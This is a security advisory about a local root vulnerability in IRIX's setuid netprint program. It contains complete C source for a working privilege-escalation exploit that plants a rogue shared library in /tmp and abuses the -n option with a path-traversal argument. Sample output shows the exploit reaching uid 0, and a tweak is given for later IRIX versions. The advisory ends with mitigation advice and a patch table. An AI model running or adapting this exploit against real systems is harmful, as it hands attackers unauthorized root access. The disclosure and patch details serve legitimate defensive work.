COMMAND
/usr/lib/print/netprint
SYSTEMS AFFECTED
IRIX 6.2...6.5.10, 6.5.11?
PROBLEM
Vade79 found following. This bug takes advantage of the -n
option witch has a bug that allows for arbitrary commands to be
executed.
Exploit source code:
/* (IRIX)netprint[] local root exploit, by: v9[v9@fakehalo.org]. this will
give you uid=0 on IRIX systems. this exploit simply takes advantage of
netprint's -n option to execute arbitrary code and gain elevated privileges.
example:
------------------------------------------------------------------------------
$ cc xnetprint.c -o xnetprint
$ id
uid=9(lp) gid=9(lp)
$ ./xnetprint /bin/sh
[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]
[*] making symbols source file for netprint to execute.
[*] done, now compiling symbols source file.
[*] done, now checking to see if the symbols source compiled.
[*] done, now executing netprint.
[*] success, uid: 0, euid: 0, gid: 0, egid: 0.
# id
uid=0(root) gid=0(sys)
#
------------------------------------------------------------------------------
note: built and tested on IRIX 6.2. this often requires the uid of lp
to work correctly. though, should prove effective up to 6.4 or
higher.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#define PATH "/usr/lib/print/netprint" /* path to exploitable program. */
#define CCPATH "/usr/bin/cc" /* path to compiler. */
#define SRCFILE "/tmp/xnetrpintso.c" /* path to temporary symbols source. */
#define SOFILE "/tmp/xnetprintso.so" /* path to compile as. */
#define FAKESOFILE "../../../../tmp/xnetprintso" /* arg to feed netprint. */
void cleanup(unsigned short i){
if(!access(SRCFILE,F_OK))
unlink(SRCFILE);
if(!access(SOFILE,F_OK))
unlink(SOFILE);
if(i)
exit(i);
}
int main(int argc,char **argv){
char *syscmd;
struct stat mod;
FILE *symbol;
printf("[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]\n");
if(argc<2){
printf("[!] syntax: %s </path/to/program/to/exec>\n",argv[0]);
cleanup(1);
}
if(stat(PATH,&mod)){
printf("[!] failed, could not get stats on %s.\n",PATH);
cleanup(1);
}
if(mod.st_uid||!(S_ISUID&mod.st_mode)){
printf("[!] failed, %s is not setuid root.\n",PATH);
cleanup(1);
}
if(access(argv[1],X_OK)){
printf("[!] failed, %s doesn't seem to exist or is not executable.\n",
argv[1]);
cleanup(1);
}
if(access(CCPATH,X_OK)){
printf("[!] failed, %s compiler doesn't seem to exist or is not executable."
"\n",CCPATH);
cleanup(1);
}
printf("[*] making symbols source file for netprint to execute.\n");
cleanup(0);
if(!(symbol=fopen(SRCFILE,"w"))){
printf("[!] failed, could not open temporary file to write to.\n");
cleanup(1);
}
fprintf(symbol,"void OpenConn(){\n");
fprintf(symbol," seteuid(0);\n");
fprintf(symbol," setuid(0);\n");
fprintf(symbol," setegid(0);\n");
fprintf(symbol," setgid(0);\n");
fprintf(symbol," printf(\"\[*] success, uid: %%u, euid: %%u, gid: %%u, egid: "
"%%u.\\n\",getuid(),geteuid(),getgid(),getegid());\n");
fprintf(symbol," execl(\"%s\",\"%s\",0);\n",argv[1],argv[1]);
fprintf(symbol,"}\n");
fprintf(symbol,"void CloseConn(){}\n");
fprintf(symbol,"void ListPrinters(){}\n");
fprintf(symbol,"void SendJob(){}\n");
fprintf(symbol,"void CancelJob(){}\n");
fprintf(symbol,"void WaitForJob(){}\n");
fprintf(symbol,"void GetQueue(){}\n");
fprintf(symbol,"void StartTagging(){}\n");
fprintf(symbol,"void StopTagging(){}\n");
fprintf(symbol,"void Install(){}\n");
fprintf(symbol,"void IsDest(){}\n");
/* woops, never realized for newer versions of netprint. */
fprintf(symbol,"void ListAllPrinters(){}\n");
fclose(symbol);
printf("[*] done, now compiling symbols source file.\n");
if(!(syscmd=(char *)malloc(strlen(CCPATH)+strlen(SRCFILE)+strlen(SOFILE)+13+1)
)){
printf("[!] failed, could not allocate memory.\n");
cleanup(1);
}
sprintf(syscmd,"%s %s -shared -o %s",CCPATH,SRCFILE,SOFILE);
system(syscmd);
printf("[*] done, now checking to see if the symbols source compiled.\n");
if(access(SOFILE,R_OK)){
printf("[!] failed, symbols source was not compiled properly.\n");
cleanup(1);
}
printf("[*] done, now executing netprint.\n");
if(execl(PATH,PATH,"-n",FAKESOFILE,"-h0","-p0","0-0",0)){
printf("[!] failed, %s did not execute properly.\n",PATH);
cleanup(1);
}
}
In the form above it doesn't work against IRIX 6.5.10, it
complains about the symbol ListAllPrinters being missing. Adding
the symbol results in gaining root, but it does require lp first:
fprintf(symbol,"void ListAllPrinters(){}\n");
Of course, since many SGI systems come with the lp account enabled
without a password, that would often be a trivial prerequisite.
The "lp" account, however, is no longer left open by default since
6.5, AFAIK.
SOLUTION
Although patches are available for this issue, it is realized that
there may be situations where installing the patches immediately
may not be possible. For those, change the permissions on the
netprint program:
/bin/chmod 500 /usr/lib/print/netprint
Patches:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x unknown Note 1
IRIX 4.x unknown Note 1
IRIX 5.x unknown Note 1
IRIX 6.0.x-6.4 unknown Note 1
IRIX 6.5-6.5.11 yes Note 2 & 3
IRIX 6.5.12m yes 4310 Note 3 & 4
IRIX 6.5.12f yes 4311 Note 3 & 4
IRIX 6.5.13 no Note 4
1) This version of the IRIX operating has been retired. Upgrade
to an actively supported IRIX operating system.
2) This version of the IRIX operating system is in maintenance
mode. Upgrade to an actively supported IRIX operating
system.
3) See "Temporary Solution" above.
4) Download the latest IRIX 6.5 Maintenance Release